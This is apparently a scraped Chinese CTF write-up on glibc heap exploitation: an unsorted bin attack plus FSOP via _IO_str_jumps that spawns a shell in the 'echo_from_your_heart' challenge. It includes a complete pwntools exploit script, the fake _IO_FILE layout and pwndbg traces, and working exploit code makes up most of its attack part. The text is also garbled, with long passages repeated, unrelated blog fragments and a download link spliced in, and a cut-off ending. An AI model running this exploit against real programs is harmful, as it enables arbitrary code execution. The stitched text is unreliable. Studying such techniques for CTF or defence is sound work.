实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000f41 ........A....... <-- unsortedbin[all][0] 0x5555557560b0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560c0 0x0000000000000000 0x0000000000000000 ................ 再次malloc(0x20)之后得到
再次malloc(0x20)之后得到
malloc(0x20)
─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!...... 0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU.. 0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0] 0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560f0 0x0000000000000000 0x0000000000000000 ................ 得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0] pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je 